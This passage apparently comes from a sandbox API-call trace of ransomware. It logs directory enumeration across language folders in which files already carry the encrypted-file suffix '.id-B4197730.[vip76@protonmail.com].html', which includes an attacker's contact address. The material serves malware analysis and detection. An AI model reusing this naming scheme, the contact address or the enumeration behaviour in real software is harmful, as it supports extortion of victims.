	[0165.650] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81331823, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81331823, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81338d88, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.650] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81331823, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81331823, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81338d88, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.650] FindClose (in: hFindFile=0x6abd98 | out: hFindFile=0x6abd98) returned 1
	[0165.651] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.651] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1
	[0165.651] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.651] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6aba18
	[0165.652] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.653] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x813ab7b6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x813ab7b6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x815c18d3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.653] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8178b395, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8178b395, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8178b395, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.653] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81338d88, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81338d88, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8135f280, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.653] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81338d88, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81338d88, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8135f280, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.653] FindClose (in: hFindFile=0x6aba18 | out: hFindFile=0x6aba18) returned 1
	[0165.654] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.654] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1
	[0165.654] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.654] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abfd8
	[0165.912] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.912] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8178b395, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8178b395, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818738b1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.912] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x818738b1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x818738b1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818964b2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.912] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8135f280, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8135f280, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818964b2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.912] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8135f280, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8135f280, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818964b2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.912] FindClose (in: hFindFile=0x6abfd8 | out: hFindFile=0x6abfd8) returned 1
	[0165.912] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.912] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1
	[0165.912] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.912] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abfd8
	[0165.914] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.914] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819550ae, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819550ae, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x819550ae, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.914] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81908bf2, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81908bf2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8192ee1b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.914] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x814b692d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x814b692d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x814dca59, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.914] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x814b692d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x814b692d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x814dca59, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.915] FindClose (in: hFindFile=0x6abfd8 | out: hFindFile=0x6abfd8) returned 1
	[0165.915] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.915] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1
	[0165.915] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.915] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6aba18
	[0165.917] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.918] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8192ee1b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8192ee1b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8192ee1b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.918] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819550ae, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819550ae, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81d34fc9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.918] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x814dca59, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x814dca59, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x814dca59, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.918] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x814dca59, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x814dca59, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x814dca59, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.918] FindClose (in: hFindFile=0x6aba18 | out: hFindFile=0x6aba18) returned 1
	[0165.919] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.919] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1
	[0165.919] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.919] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6aba18
	[0165.921] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.921] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819550ae, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819550ae, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8197b23e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.922] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8197b23e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8197b23e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8197b23e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.922] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81502ccf, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81502ccf, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81502ccf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.922] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81502ccf, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81502ccf, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81502ccf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.922] FindClose (in: hFindFile=0x6aba18 | out: hFindFile=0x6aba18) returned 1
	[0165.923] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.923] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1
	[0165.923] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.923] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abbd8
	[0165.925] FindNextFileW (in: hFindFile=0x6abbd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.925] FindNextFileW (in: hFindFile=0x6abbd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819a15fe, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819a15fe, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81e8c580, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
